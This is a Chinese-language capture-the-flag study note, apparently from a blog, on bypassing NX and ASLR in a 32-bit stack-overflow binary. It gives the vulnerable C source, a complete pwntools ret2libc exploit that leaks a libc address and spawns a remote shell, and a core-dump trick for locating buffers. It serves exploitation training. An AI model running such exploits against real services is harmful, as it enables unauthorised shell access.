pwn 暑假复习四 绕过NX/ASLR

根据http://www.vuln.cn/6645

 例一:level2

源码为

#!c
#include 
#include 
#include 

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

可看出,是栈溢出。write的用法   write(handle,void *buf , int byte)

当第一个参数为0   标准输入,  1    标准输出 ,2  标准错误。 第二个参数为指向一段内存地址的指针,第三个三数为读取的长度,步骤和昨天提到的一样,checksec查看后,有个nx,ubantu开了ASLR。

首先先看看有没有system,'/bin/sh'等可用gadgets,用ROPgadget:


没有'/bin/sh',有system但是每次地址会变,所以我们写脚本泄露libc函数,这里没有用到libc_seacher这个工具,

用ldd --version,可查看libc版本,查看后下载相应的libc.so

用pattern计算出与ebp的距离为136,


脚本如下:

from pwn import *

sh = remote('192.168.1.103',2333)
libc = ELF('libc.so')
elf = ELF('level2')

write_plt = elf.symbols['write']
print 'write_plt='+hex(write_plt)
write_got = elf.got['write']
print 'write_got='+hex(write_got)
self_addr = 0x08048404
print 'self_addr='+hex(self_addr)
payload = 'A'*140 + p32(write_plt)+p32(self_addr)+p32(1)+p32(write_got)+p32(4)#覆盖前面的空间和ebp,然后执行write函数,设write函数的返回地址为vulnerable函数,然后给write函数传入三个参数(1,write的地址,4)
print '\n[+]-----send  payload-------'
sh.send(payload)

print '\n---write()address---'
write_addr = u32(sh.recv(4))#获得泄露的write()的地址
print 'writ_addr='+hex(write_addr)

print '\n[+]----find system() and /bin/sh-----'

sys_addr = write_addr-(libc.symbols['write']-libc.symbols['system'])write的真实地址减相对偏移量
binsh_addr = write_addr-(libc.symbols['write']-next(libc.search('/bin/sh')))
payload2 = 'B'*140 +p32(sys_addr)+p32(self_addr)+p32(binsh_addr)
print '[+]----send payload2----'
sh.send(payload2)
sh.interactive()
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

一个寻找shellcode位置的方法

开启core dump

ulimit -c unlimited#只在当前终端生效

sudo sh -c 'echo "/tmp/core,%t">/proc/sys/kerner/core -patteren'

开启之后,发生内存错误时,会生成一个coredump文件,在tmp目录下

用gdb查看core文件,获得buf的地址

先溢出,然后gdb 程序名 core

x/10s $ebp-(到ebp的距离+ret)


你可能感兴趣的:(pwn)